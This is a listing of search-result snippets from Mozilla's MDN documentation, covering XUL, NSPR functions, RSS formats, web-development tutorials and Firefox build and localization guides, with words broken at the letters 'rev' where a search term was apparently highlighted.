javascript is most safely kept in a separate file and included in the xul file <html:script language="javascript" src="our.js"/> or relegated to the contents of a cdata section, to p
revent the xml parser from choking on javascript which may look like xml content (a < character, for instance.) <html:script type="application/javascript"> <![cdata[ function lesser(a,b) { return a < b ?
appendNotification - Archive of obsolete content
omponents.interfaces.nsiwindowmediator) .getmostrecentwindow("navigator:browser"); } if (typeof gbrowser === "undefined") { //if there is no gbrowser defined, get it var gbrowser = window.gbrowser; } function testnotificationbutton1callback(thenotification, buttoninfo, eventtarget) { window.alert("button 1 pressed"); //p
revent notification from closing: return true; }; function testnotificationbutton2callback(thenotification, buttoninfo, eventtarget) { window.alert("button 2 pressed"); //do not p
revent notification from closing: }; function testnotificationcallback(reason) { window.alert("reason is: " + reason); }; let notifybox = gbrowser.getnotificationbox...
Namespaces - Archive of obsolete content
although there's nothing p
reventing someone else from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally.
locked - Archive of obsolete content
« xul reference locked type: boolean if true, the preference has been locked and disabled in the system configuration, p
reventing the value from being changed.
Property - Archive of obsolete content
:element.clonenode dom:element.firstchild dom:element.firstelementchild dom:element.lastchild dom:element.lastelementchild dom:element.localname dom:element.namespaceuri dom:element.nextelementsibling dom:element.nextsibling dom:element.nodename dom:element.nodetype dom:element.nodevalue dom:element.ownerdocument dom:element.parentnode dom:element.prefix dom:element.p
reviouselementsibling dom:element.p
revioussibling dom:element.scrollheight dom:element.scrollleft dom:element.scrolltop dom:element.scrollwidth dom:element.tagname dom:element.textcontent ...
2006-10-27 - Archive of obsolete content
summary: mozilla.dev.l10n - october 27, 2006 announcements drafts of eulas for several lanugages available for
review drafts of eulas for several lanugages available for
review final ff release already announced a french site has already announced final ff 2.0 and gives download links on its own site.
2006-11-3 - Archive of obsolete content
revisiting mozillatranslator bugs in bugzilla
revisiting mozillatranslator bugs in bugzilla dictionary packages there are some dictionaries at http://dictionaries.mozdev.org/installation.html which are not at https://addons.mozilla.org/en/dictionaries.
2006-10-20 - Archive of obsolete content
nickolay ponoma
rev, benjamin smedberg, axel hecht clarify some misconceptions about front-end and back-end programming with xulrunner, including the difficulty of writing the backends in c++ (since that would require a recompilation on every platform frank wanted to support).
2006-11-17 - Archive of obsolete content
nickolay ponoma
rev lets us know that processing instructions are now added to xul document's dom this also means, you can no longer use document.firstchild in xul scripts to get the root element of a xul document and the xml-stylesheet and xul-overlay processing instructions outside the prolog no longer have any effect peter.sei...@gmail.com runs into some difficulties deploying xulrunner 1.8 on os x?
2006-11-10 - Archive of obsolete content
good ideas a splinter off of the extended validation certificates discussion going over whether or not fraudulent websites may get these certificates and if so how to p
revent this from happening.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.xul - nov 11-nov 17, 2006 return to mozilla-dev-tech-xul announcements processing instructions are now added to xul document's dom on november 12, 2006, nickolay ponoma
rev announces the results of the recently fixed bug 319654.
Monitoring plugins - Archive of obsolete content
opic == "experimental-notify-plugin-call") //in case your class is registered to listen to other topics //this gets executed each time a runtime notification arrives // --your code goes here-- } }, //takes care of registering the observer services for the "experimental-notify-plugin-call" topic register: function() { if (this.registered == false) { //this check p
revents double registration -- something you want to avoid!!
NPFullPrint - Archive of obsolete content
mac os: thprint ms windows: printer's device context description the npp_print function passes the plug-in a pointer to an npprint object (p
reviously allocated by the browser).
NPN_MemFree - Archive of obsolete content
syntax #include <npapi.h> void npn_memfree (void* ptr); parameters the function has the following parameters: ptr block of memory p
reviously allocated using npn_memalloc.
NPP_SetWindow - Archive of obsolete content
before setting the window parameter to point to a new window, it is a good idea to compare the information about the new window to the p
revious window (if one existed) to account for any changes.
NPWindow - Archive of obsolete content
clipping to the cliprect p
revents the plug-in from overwriting the status bar, scroll bars, and other page elements when partially scrolled off the screen.
Adobe Flash - Archive of obsolete content
the description string is broken into an array of constituent strings based on an invocation of the match method with a regular expression that assumes that the string format will be in the format flash major rminor where major can be a major
revision such as "5" or "6" and minor is the subsidiary version number.
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
n below: <?xml version="1.0"> <rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>example</title> <description>an rss example with slash</description> <lastbuilddate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate> <link>http://www.example.com</link> <item> <title>
review of sin city</title> <guid>d77d2e80-0487-4e8c-a35d-a93f12a0ff7d:2005/05/15/114</guid> <pubdate>sun, 15 may 2005 13:02:08 -0500</lastbuilddate></pubdate> <link>http://www.example.com/blog/2005/05/15/114</link> <slash:comments>43</slash:comments> </item> <item> <title>what is the 3571st prime number<...
Getting Started - Archive of obsolete content
how to use this tutorial although each page in this tutorial has been written so that it can act as a "standalone" tutorial, it does assume you already possess the knowledge of the information taught in p
revious pages of this tutorial.
Proposal - Archive of obsolete content
draft exists source guid when an rss item is posted in response to a p
revious item (called the source item) rss 2.0 offers the source element which allows the item to refer to the rss feed which contains the source item.
0.91 - Archive of obsolete content
rss 0.91 there are 3 different version of rss 0.91: netscape's rss 0.91 (
revision 1) netscape's rss 0.91
revision 3 userland's rss 0.91 ...
title - Archive of obsolete content
netscape rss 0.91
revision 3 example <?xml version="1.0"?> <!doctype rss system "http://my.netscape.com/publish/formats/rss-0.91.dtd"> <rss version="0.91"> <channel> <title>advogato</title> <link>http://www.advogato.org/article/</link> <description>recent advogato articles</description> <language>en-us</language> <image> <link>http://www.advogato.org/</link> <title>advogato</title> ...
Security Controls - Archive of obsolete content
the motivation for having multiple layers is that if one layer fails or otherwise cannot counteract a certain threat, other layers might p
revent the threat from successfully breaching the system.
Threats - Archive of obsolete content
link: red hat certificate system common criteria certification 8.1: deployment, planning, and installation original document information author(s): joint task force transformation initiative title: national institute of standards and technology (nist) special publication 800-30
revision 1, guide for conducting risk assessments last updated date: september 2012 copyright information: this document is not subject to copyright.
contents.rdf - Archive of obsolete content
ns being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:my_theme"/> </rdf:seq> <rdf:description about="urn:mozilla:skin:my_theme" chrome:displayname="my theme" chrome:accesskey="n" chrome:author="" chrome:authorurl="" chrome:description="" chrome:name="my_theme" chrome:image="p
review.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:my_theme:packages"> <rdf:li resource="urn:mozilla:skin:my_theme:browser"/> <rdf:li resource="urn:mozilla:skin:my_theme:communicator"/> <rdf:li resource="urn:mozilla:skin:my_theme:global"/> <rdf:li resource="urn:mozilla:skin:my_theme:mozapps"/> <rdf:li resource="urn:mozilla:skin:my_theme:he...
-ms-filter - Archive of obsolete content
<div id="filterfrom" style="position: absolute; width: 200px; height: 250px; background-color: white; filter:
revealtrans()"> <img id="imagefrom" style="position: absolute; top: 20px; left: 20px;" src="sphere.jpg" alt="sphere"> <div id="filterto" style="position: absolute; width: 200px; height: 250px; top: 20px; left: 20px; background: white...
azimuth - Archive of obsolete content
examples h1 { azimuth: 30deg; } td.a { azimuth: far-right; } /* 60deg */ #12 { azimuth: behind far-right; } /* 120deg */ p.comment { azimuth: behind; } /* 180deg */ specifications specification status comment css level 2 (
revision 1)the definition of 'azimuth' in that specification.
Processing XML with E4X - Archive of obsolete content
compatibility issues prior to widespread browser support for the <script> element, it was common for javascript embedded in a page to be surrounded by html comment tags to p
revent <script> unaware browsers from displaying javascript code to the user.
ECMAScript 2016 to ES.Next support in Mozilla - Archive of obsolete content
implemented; in other browsers) regexp unicode property escapes (not yet implemented; in other browsers) regexp named capture groups (not yet implemented; in other browsers) ecmascript 2019 array.flat() (firefox 62) array.flatmap() (firefox 62) object.fromentries() (firefox 63) string.trimstart() and string.trimend() (firefox 61) optional catch binding (firefox 58) function.tostring()
revision (firefox 54) symbol.description (firefox 63) well-formed json.stringify() (firefox 64) ecmascript 2020 this is the current es.next version.
ECMAScript 2015 support in Mozilla - Archive of obsolete content
etprototypeof() (firefox 31) object.assign() (firefox 34) object.getownpropertysymbols() (firefox 33) additions to the date object date.prototype is an ordinary object (firefox 41) generic date.prototype.tostring (firefox 41) date.prototype[@@toprimitive] (firefox 44) new promise object promise (firefox 24, enabled by default in firefox 29) new proxy object proxy (firefox 18) p
reventextensions() trap (firefox 22) isextensible() trap (firefox 31) getprototypeof() and setprototypeof() traps (firefox 49) new reflect object reflect (firefox 42) additions to the regexp object regexp sticky (y) flag (firefox 38) regexp unicode (u) flag (firefox 46) generic regexp.prototype.tostring (firefox 39) regexp.prototype[@@match]() (firefox 49) regexp.prototype[@@replace](...
JavaClass - Archive of obsolete content
x = java.awt.font; myfont = x("helv", x.bold, 10); // creates a font object the p
revious example omits the packages keyword and uses the java synonym because the font class is in the java package.
Packages - Archive of obsolete content
examples example: javascript function to create a java dialog box the following javascript function creates a java dialog box: function createwindow() { var theowner = new packages.java.awt.frame(); var thewindow = new packages.java.awt.dialog(theowner); thewindow.setsize(350, 200); thewindow.settitle("hello, world"); thewindow.setvisible(true); } in the p
revious example, the function instantiates thewindow as a new packages object.
Displaying a graphic with audio samples - Archive of obsolete content
<!doctype html> <html> <head> <title>javascript spectrum example</title> </head> <body> <audio id="audio-element" src="
revolve.ogg" controls="true" style="width: 512px;"> </audio> <div><canvas id="fft" width="512" height="200"></canvas></div> <img id="mozlogo" style="display:none" src="mozilla2.png"></img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { chan...
Building up a basic demo with PlayCanvas editor - Game development
add the following line inside this function, to rotate the cube on every frame: this.entity.rotate(dt*10, dt*20, dt*30); in the line above this.entity refers to the object to which the script will be attached (the box); using the dt variable, which contains the delta time passed since the p
revious frame, we can rotate the box by a different amount around all three axes.
Async scripts for asm.js - Game development
instead of using eval or innerhtml, both of which trigger synchronous compilation, you should use a blob with an object url: var blob = new blob([codestring]); var script = document.createelement('script'); var url = url.createobjecturl(blob); script.onload = script.onerror = function() { url.
revokeobjecturl(url); }; script.src = url; document.body.appendchild(script); the setting of src rather than innerhtml is what makes this script async.
Square tilemaps implementation: Scrolling maps - Game development
note: when writing this article, we assumed p
revious reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
Square tilemaps implementation: Static maps - Game development
note: when writing this article, we assumed p
revious reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
2D maze game with device orientation - Game development
to load specific levels, we make sure the p
revious levels are hidden, and show the current one: showlevel: function(level) { var lvl = level | this.level; if(this.levels[lvl-2]) { this.levels[lvl-2].visible = false; } this.levels[lvl-1].visible = true; } thanks to that the game gives the player a challenge - now he have to roll the ball across the play area and guide it through the labyrinth built from the blocks.
Tutorials - Game development
2d breakout game using phaser in this step-by-step tutorial you'll implement the same breakout clone as the p
revious tutorial series, except that this time you'll do it using thephaser html5 game framework.
Gecko FAQ - Gecko Redirect 1
gecko has been known p
reviously by the code names "raptor" and "nglayout"; the new name was chosen following a trademark infringement dispute.
Delta - MDN Web Docs Glossary: Definitions of Web-related terms
likewise, given the new value of x and its old value, you might compute the delta like this: let deltax = newx - oldx; more commonly, you receive the delta and use it to update a saved p
revious condition: let newx = oldx + deltax; learn more technical reference mouse wheel events (wheelevent offer the amount the wheel moved since the last event in its deltax, deltay, and deltaz properties, for example.
Doctype - MDN Web Docs Glossary: Definitions of Web-related terms
its sole purpose is to p
revent a browser from switching into so-called “quirks mode” when rendering a document; that is, the "<!doctype html>" doctype ensures that the browser makes a best-effort attempt at following the relevant specifications, rather than using a different rendering mode that is incompatible with some specifications.
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
"c561c68d0ba92bbeb8b0f612a9199f722e3a621a" keep-alive: timeout=5, max=997 last-modified: mon, 18 jul 2016 02:36:04 gmt server: apache set-cookie: mykey=myvalue; expires=mon, 17-jul-2017 16:06:00 gmt; max-age=31449600; path=/; secure transfer-encoding: chunked vary: cookie, accept-encoding x-backend-server: developer2.webapp.scl3.mozilla.com x-cache-info: not cacheable; meta data too large x-kuma-
revision: 1085259 x-frame-options: deny ...
Vendor Prefix - MDN Web Docs Glossary: Definitions of Web-related terms
browser vendors sometimes add prefixes to experimental or nonstandard css properties and javascript apis, so developers can experiment with new ideas while—in theory—p
reventing their experiments from being relied upon and then breaking web developers' code during the standardization process.
What is accessibility? - Learn web development
centers for disease control and p
revention disability and functioning (noninstitutionalized adults 18 years and over) reports the usa "percent of adults with any physical functioning difficulty: 16.1%".
Accessibility - Learn web development
wai-aria basics following on from the p
revious article, sometimes making complex ui controls that involve unsemantic html and dynamic javascript-updated content can be difficult.
Introduction to CSS layout - Learn web development
overview: css layout next this article will recap some of the css layout features we've already touched upon in p
revious modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module.
CSS layout - Learn web development
introduction to css layout this article will recap some of the css layout features we've already touched upon in p
revious modules — such as different display values — and introduce some of the concepts we'll be covering throughout this module.
create fancy boxes - Learn web development
i want to be fancy.</div> let's have an example by turning our box into a cloud: .fancy { text-align: center; /* same trick as p
revisouly used to make circles */ box-sizing: border-box; width : 150px; height : 150px; padding : 80px 1em 0 1em; /* we make room for the "ears" of our cloud */ margin : 0 100px; position: relative; background-color: #a4c9cf; /* well, actually we are not making a full circle as we want the bottom of our cloud to be flat.
How the Web works - Learn web development
p
revious overview: getting started with the web how the web works provides a simplified view of what happens when you view a webpage in a web browser on your computer or phone.
Use HTML to solve common problems - Learn web development
how to create a list of items with html how to stress or emphasize content how to indicate that text is important how to display computer code with html how to annotate images and graphics how to mark abb
reviations and make them understandable how to add quotations and citations to web pages how to define terms with html hyperlinks one of the main reasons for html is making navigation easy with hyperlinks, which can be used in many different ways: how to create a hyperlink how to create a table of contents with html images & multimedia how to add images to a webpage how to add video ...
Introduction to HTML - Learn web development
get started prerequisites before starting this module, you don't need any p
revious html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming content).
Asynchronous JavaScript - Learn web development
handling async operations gracefully with promises promises are a comparatively new feature of the javascript language that allow you to defer further actions until after the p
revious action has completed, or respond to its failure.
Functions — reusable blocks of code - Learn web development
p
revious overview: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short command — rather than having to type out the same code multiple times.
Client-side web APIs - Learn web development
get started prerequisites to get the most out of this module, you should have worked your way through the p
revious javascript modules in the series (first steps, building blocks, and javascript objects).
What is JavaScript? - Learn web development
this demo has exactly the same functionality as in the p
revious two sections, except that the <button> element includes an inline onclick handler to make the function run when the button is pressed.
JavaScript object basics - Learn web development
overview: objects next in this article, we'll look at fundamental javascript object syntax, and
revisit some javascript features that we've already seen earlier in the course, reiterating the fact that many of the features you've already dealt with are objects.
Aprender y obtener ayuda - Learn web development
when you find solutions to such problems, it is worth writing down notes on what you did, and keeping some minimal code examples in a directory somewhere so you can look back on p
revious work.
Tools and testing - Learn web development
git and github all developers will use some kind of version control system (vcs), a tool to allow them to collaborate with other developers on a project without danger of them overwriting each other's work, and roll back to p
revious versions of the code base if a problem is discovered later on.
Learn web development
the aim of this area of mdn is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfortable." from there, you should be able to start making your way, learning from the rest of mdn, and other intermediate to advanced resources that assume a lot of p
revious knowledge.
Accessibility Features in Firefox
in recent articles from both afb's access world and nfb's voice of the nation's blind,
reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users.
CSUN Firefox Materials
in recent articles from both afb's access world and nfb's voice of the nation's blind,
reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users.
Mozilla’s UAAG evaluation report
(p2) vg provides forward and
reverse text search capability from the element with the current focus/selection, with and without case sensitivity very slow on larger documents.
Theme concepts
additionally, firefox color can be used to p
review customizations to the browser's theme with options to share and export a theme.
Adding a new event
if all information of the event is stored by its internal event, c++ event handlers can access them with following code: ns_imethodimp aneventlistener::handleevent(nsidomevent* aevent) { internalfooevent* internalevent = aevent->getinternalnsevent()->asfooevent(); if (ns_warn_if(!internalevent)) { return ns_error_unexpected; } dosomethingwith(internalevent->mbar); aevent->p
reventdefault(); return ns_ok; } implement dom event class generate dom event implementation if it's possible if you're creating simple dom event class, it might be generated automatically.
Adding a new CSS property
then you should get
review on the work you've done so far and move on to implementing whatever the property does (which should be in a separate patch or patches).
Application cache implementation overview
falling back on a resource load failure when a resource p
reviously matching a fallback namespace failed to load from the network, we perform fallback to the p
reviously remembered fallback entry.
Browser chrome tests
in a timeout, event handler, etc) will not be caught, but will result in a timed out test if they p
revent finish() from being called.
Testopia
if you are upgrading, please
reverse the existing version's patch before installing.
Chrome registration
note: there are no security restrictions p
reventing web content from including content at resource: uris, so take care what you make visible there.
Creating JavaScript callbacks in components
such: void addeventlistener(in domstring type, in nsidomeventlistener listener, in boolean usecapture); however, it is extremely common to see developers pass a normal javascript function for the listener instead of an nsidomeventlistener implementation: function doload(event) { // do something here } window.addeventlistener("load", doload, false);
revealing the magic how is this possible?
Creating Sandboxed HTTP Connections
since the channel that causes the notification is passed in as the first argument, comparing it to the globally stored channel (gchannel) in the p
revious section (which also gets updated each time a redirect happens).
Debugging on Mac OS X
add "-p profilename", where profilename is the name of a profile you created p
reviously.
HTTP logging
when you specify rotate, on every start all the files (including any p
revious non-rotated log file) are deleted to avoid any mixture of information.
Configuring Build Options
this can be useful since certain warnings coincide with
reviewbot lints which must be fixed before merging.
Simple Instantbird build
first, cd into the comm-central subdirectory (created automatically by the p
revious command): cd comm-central then run: python client.py checkout note: unless you have a very good network connection, "hg clone" might fail because it gets interrupted.
Simple Thunderbird build
you can clean out p
revious build artefacts using ./mach clobber references general build documentation comm-central using the mozilla symbol server ...
Updating NSPR or NSS in mozilla-central
check for new or removed files $ hg addremove -n
review the output to make sure it looks correct update the minimum required system nss version in old-configure.in.
Windows SDK versions
windows 7 sdk features that depend on this sdk include: windows 7 taskbar p
reviews windows 7 download taskbar progress windows 7 jump lists you can download the sdk (v7.0 [web setup or iso image] or unsupported v7.1 [web setup or iso image]) from the microsoft download center.
Eclipse CDT
gdb unexpectedly detaching if gdb starts ignoring your breakpoints, or unexpectedly terminates or detaches from the firefox process, this may be caused by out of date breakpoints (breakpoints that you set during a p
revious debug session, after which you've since rebuilt).
Inner and outer windows
as the user navigates in each of the documents in the various frames, each of those inner windows has its own history that can be moved forward and backward through, just like in the p
revious diagram.
Obsolete Build Caveats and Tips
from firefox 10, the compilator is visual studio 2010; if you want to use it, you must use a p
revious version of it !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can check out the latest source using cvs.
Listening to events on all tabs
removing a listener to remove a p
reviously installed progress listener, call removetabsprogresslistener(): gbrowser.removetabsprogresslistener(myprogresslistener); implementing a listener the listener object itself has five methods it can implement to handle various events: onlocationchange called when the uri of the document displayed in the tab changes.
Working with Mozilla source code
creating a patch once you've made a change to the mozilla code, the next step (after making sure it works) is to create a patch and submit it for
review.
mach
please flag firefox-build-system-
reviewers for
review.
Cross Process Object Wrappers
it’s possible that the request for the documenturi property will be processed before the "changedocumenturi" message, in which case uri will have its p
revious value.
Multiprocess Firefox
this page is an informal index of leftovers, mostly
revolving around the message manager and the related cross process object wrappers.
HTMLIFrameElement.clearMatch()
searchtoggle.addeventlistener('touchend',function() { if(search.getattribute('class') === 'search') { search.setattribute('class', 'search shifted'); } else if(search.getattribute('class') === 'search shifted') { search.setattribute('class', 'search'); if(searchactive) { browser.clearmatch(); searchactive = false; p
rev.disabled = true; next.disabled = true; searchbar.value = ''; } } }); specification not part of any specification.
HTMLIFrameElement.findAll()
searchform.addeventlistener('submit', function(e) { e.p
reventdefault(); browser.findall(searchbar.value, 'case-sensitive'); searchactive = true; p
rev.disabled = false; next.disabled = false; searchbar.blur(); }); specification not part of any specification.
HTMLIFrameElement.goBack()
by calling this method, the browser <iframe> changes its location for the p
revious location available in its navigation history, which sends a series of related events: mozbrowserlocationchange, mozbrowserloadstart, and so on.
mozbrowsershowmodalprompt
note that if the embedder calls p
reventdefault() on this event, the iframe is blocked until unblock() is called.
HTMLIFrameElement.reload()
parameters hardreload optional a boolean that indicates whether all the resources to reload must be
revalidated (true) or may be taken directly from the browser cache (false).
Hacking with Bonsai
there is a web page, which records if the tree is open or closed what the date stamp of the last known good tree is who is on the hook for the current tree before the tree is opened, the list of checkins that happened when the tree was closed is
reviewed to insure that only build related checkins took place.
IPDL Best Practices
this document is intended to help correct these before the formal
review process is initiated.
IPDL Tutorial
}; virtual pexamplechild* toplevelchild::allocpexample() { refptr<examplechild*> actor = new examplechild(); return actor.forget(); } virtual bool toplevelchild::deallocpexample(pexamplechild* actor) { ns_release(static_cast<examplechild*>(actor)); return true; } if an object that implements a protocol can't be constructed inside allocpfoo, has been p
reviously constructed and doesn't require an ipdl connection throughout its lifetime, or implements a refcounted protocol where the first form of constructor is not available, there is a second form of sendpfooconstructor which can be used: class examplechild { public: void dosomething() { amanagerchild->sendpexampleconstructor(this, ...); } }; internally, the first constructor for...
IPDL Type Serialization
serializers and deserializers are security-sensitive and must always receive two
reviews from module owners who understand ipc serialization well.
JavaScript Tips
prefer to loop through childnodes rather than using first/lastchild with next/p
revioussibling.
AddonManager
starting in firefox 8, you can also set the value of the preference extensions.autodisabledscopes to p
revent firefox from automatically installing add-ons from the specified scopes.
DownloadLastDir.jsm
when the user exits private browsing mode, the last download directory value is
reverted to the preference's value.
DownloadList
removeview() removes a view that was p
reviously added using addview().
DownloadSummary
removeview() removes a view that was p
reviously added using addview().
Interfacing with the Add-on Repository
for example: searchsucceeded: function(addons, addoncount, totalresults) { var num = math.floor(math.random() * addoncount); this.shownotification("would you like to try the " + addons[num].name + " addon?", "install", addons[num].install); }, this routine randomly selects one of the returned add-ons, then calls the p
reviously mentioned shownotification() routine, passing in as parameters a prompt including the name of the returned add-on, a label for the button to show in the notification ("install"), and the addoninstall object that can be used with the add-on manager api to install the add-on.
NetUtil.jsm
in p
revious versions of gecko, you must use a string to specify the uri.
Promise
rejected, if an error p
revented the final value from being determined.
Promise.jsm
rejected, if an error p
revented the final value from being determined.
PromiseUtils.jsm
this method was p
reviously implemented as promise.defer(), which is obsolete since gecko 30.
Sqlite.jsm
note: callers are encouraged to pass objects rather than arrays for bound parameters because they p
revent foot guns.
Webapps.jsm
n(aoldapp, anewapp, aislocalfileinstall, aisupdate,) _checksignature: function(aapp, aissigned, aislocalfileinstall) _saveetag: function(aisupdate, aoldapp, arequestchannel, ahash, amanifest) _checkorigin: function(aissigned, aoldapp, amanifest, aisupdate) _getids: function(aissigned, azipreader, aconverter, anewapp, aoldapp,) _checkforstoreidmatch: function(aisupdate, anewapp, astoreid, asto
reversion)
revertdownloadpackage: function(aid, aoldapp, anewapp, aisupdate, aerror) uninstall: function(amanifesturl) _promptforuninstall: function(adata) confirmuninstall: function(adata) denyuninstall: function(adata, areason = "error_unknown_failure") getself: function(adata, amm) checkinstalled: function(adata, amm) getinstalled: function(adata, amm) getnotinstalled: function(adata, amm...
L10n testing with xcode
navigate to the newly opened ios simulator window many strings are accessibility strings and are only
revieled when a user hovers their finger over the button.
Localizing with Pontoon
we call all of these translation helpers and here's how each of them will help you as you translate strings: history displays p
reviously suggested translations, including from other users.
Patching a Localization
hg diff browser/chrome/browser/browser.dtd attach the patch to an existing bug for reference or
review or create a new one if one doesn't currently exist.
Localization formats
localizers had to
revisit an en-us repository to find the exact msgid,
review the change, and return to their repository to make changes.
Web Localizability
by
reviewing your content and code for l12y, you will find and fix bugs in your original language too.
gettext
# #, fuzzy msgid "" msgstr "" "project-id-version: package version\n" "report-msgid-bugs-to: \n" "pot-creation-date: 2009-09-28 16:18+0200\n" "po-
revision-date: year-mo-da ho:mi+zone\n" "last-translator: full name <email@address>\n" "language-team: language <ll@li.org>\n" "mime-version: 1.0\n" "content-type: text/plain; charset=charset\n" "content-transfer-encoding: 8bit\n" "plural-forms: nplurals=integer; plural=expression;\n" #.
Basics
rather, the math fragment will zoom, and if you right-click a second time, you will see the mathml wysiwyg markup of the fragment, and if you right-click again a third time, the fragment will
revert to its initial state.
Extras
mathml extras this is a technology demonstration of some of the extras in mozilla but not defined in the mathml spec, and not p
revented by the spec either.
Fonts for Mozilla 2.0's MathML engine
reset old preferences if users have p
reviously changed the "font.mathfont-family" preference for a p
revious version of mozilla, then it is best to reset this to the default value.
Using the viewport meta tag to control layout on mobile browsers
if web developers want their scale settings to remain consistent when switching orientations on the iphone, they must add a maximum-scale value to p
revent this zooming, which has the sometimes-unwanted side effect of p
reventing users from zooming in: <meta name="viewport" content="initial-scale=1, maximum-scale=1"> suppress the small zoom applied by many smartphones by setting the initial scale and minimum-scale values to 0.86.
Mozilla Port Blocking
by default, mozilla now blocks access to specific ports which are used by vulnerable services in order to p
revent security vulnerabilites due to "cross-protocol scripting".
Mozilla Web Services Security Model
please do not depend on anything in it being correct for security.) to p
revent the browser from being used as a tool for web sites to obtain priveleges that belong to the browser's user (such as being behind a firewall or getting the benefits of the user's cookies), web browsers restrict what web pages can do when accessing things in other domains.
BloatView
perl tools/bloatview/bloatdiff.pl <p
revious-log> <current-log> this will give you output of the form: bloat/leak delta report current file: dist/win32_d.obj/bin/bloatlogs/all-1999-10-22-133450.txt p
revious file: dist/win32_d.obj/bin/bloatlogs/all-1999-10-16-010302.txt -------------------------------------------------------------------------- class leaks delta bloat delta --------------------...
GC and CC logs
as noted in the p
revious section, with multiprocess firefox, you can't record logs from the content process, due to sandboxing.
Leak-hunting strategies and tips
this is the wrapper object in the
reverse direction -- when a js object is used to implement an xpcom interface and be used transparently by native code.
TraceMalloc
tracemallocchangelogfd(logfd) - change the current log file to the one identified by logfd, returning the p
revious fd (so you can maintain a number of open files; keep their fds in a js array!).
Phishing: a short definition
after all, the browser plays an essential role in the scheme: a fake website is loaded in a browser and here is the maker’s last chance to p
reventing fraud.
Preference reference
javascript.options.showinconsolethe preference javascript.options.showinconsole controls whether errors or warnings in chrome code are shown in the error console.javascript.options.stricttechnical
review completed.mail.tabs.drawintitlebarstarting in thunderbird 17.0, the tabs are drawn in the title bar.
MailNews automated testing
it allows
reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
MailNews
it allows
reviewers to quickly pick up regressions in patches and helps developers to think about different cases.
McCoy
however, there are several external and unofficial tools which enable signing from command line: uhura - part of the mxtools package from softlights http://www.softlights.net/projects/mxtools/uhura.html signontheline - an extension to mccoy - important: you have to checkout
rev 222, later
revisions are not working in mccoy!
Optimizing Applications For NSPR
the implementation is well suited for high performance application, such as a server, but clients may find the win-95 version more suited (and adequate) for interactive applications such as are p
revalent on today's workstations.
Hash Tables
hash table types and constants hash table functions hash table types and constants plhashentry plhashtable plhashnumber plhashfunction plhashcomparator plhashenumerator plhashallocops hash table functions pl_newhashtable pl_hashtabledestroy pl_hashtableadd pl_hashtableremove pl_hashtablelookup pl_hashtableenumerateentries pl_hashstring pl_comparestrings pl_compa
revalues see also xpcom hashtable guide ...
Introduction to NSPR
locking p
revents access to some resource, such as a piece of shared data: that is, it enforces mutual exclusion.
Linked Lists
linked list macros macros that create and operate on linked lists are: pr_init_clist pr_init_static_clist pr_append_link pr_insert_link pr_next_link pr_p
rev_link pr_remove_link pr_remove_and_init_link pr_insert_before pr_insert_after pr_clist_is_empty pr_list_head pr_list_tail ...
PRBool
syntax #include <prtypes.h> typedef enum { pr_false = 0, pr_true = 1 } prbool; description whe
rever possible, do not use prbool in mozilla c++ code.
PRCList
syntax #include <prclist.h> typedef struct prcliststr prclist; typedef struct prcliststr { prclist *next; prclist *p
revious; }; description prclist defines a node in a circular linked list.
PRIntervalTime
they indicate that the process should wait no time (return immediately) or wait fo
rever (never time out), respectively.
PR_AtomicSet
atomically sets a 32-bit value and return its p
revious contents.
PR_AttachSharedMemory
attaches a memory segment p
reviously opened with pr_opensharedmemory and maps it into the process memory space.
PR_CExitMonitor
syntax #include <prcmon.h> prstatus pr_cexitmonitor(void *address); parameters the function has the following parameters: address the address of the protected object--the same address p
reviously passed to pr_centermonitor.
PR_CWait
syntax #include <prcmon.h> prstatus pr_cwait( void *address, printervaltime timeout); parameters the function has the following parameters: address the address of the protected object--the same address p
reviously passed to pr_centermonitor.
PR_ClearInterrupt
therefore it is sometimes necessary to call pr_clearinterrupt to clear a p
revious interrupt request.
PR_CloseDir
note that after a pr_closedir call, any prdirentry object returned by a p
revious pr_readdir call on the same prdir object becomes invalid.
PR_DeleteSemaphore
syntax #include <pripcsem.h> nspr_api(prstatus) pr_deletesemaphore(const char *name); parameter the function has the following parameter: name the name of a semaphore that was p
reviously created via a call to pr_opensemaphore.
PR_DestroyPollableEvent
syntax nspr_api(prstatus) pr_destroypollableevent(prfiledesc *event); parameter the function has the following parameter: event pointer to a prfiledesc structure p
reviously created via a call to pr_newpollableevent.
PR_ExportFileMapAsString
returns prstatus description creates an identifier, as a string, from a prfilemap object p
reviously created with pr_openanonfilemap.
PR_GetHostByAddr
description pr_gethostbyaddr is used to perform
reverse lookups of network addresses.
PR_ImportFileMapFromString
description pr_importfilemapfromstring creates a prfilemap object from a string p
reviously created by pr_exportfilemapasstring.
PR ImportTCPSocket
the caller must not do anything to the native file descriptor before the pr_importtcpsocket call that will p
revent the native file descriptor from working in non-blocking mode.
PR_JoinThreadPool
syntax #include <prtpool.h> nspr_api(prstatus) pr_jointhreadpool( prthreadpool *tpool ); parameter the function has the following parameter: tpool a pointer to a prthreadpool structure p
reviously created by a call to pr_createthreadpool.
PR_OpenSharedMemory
description pr_opensharedmemory creates a new shared memory segment or associates a p
reviously created memory segment with the specified name.
PR_PushIOLayer
if the containers are allocated by some method other than pr_createiolayerstub, it may be required that the stack have the layers popped off (in
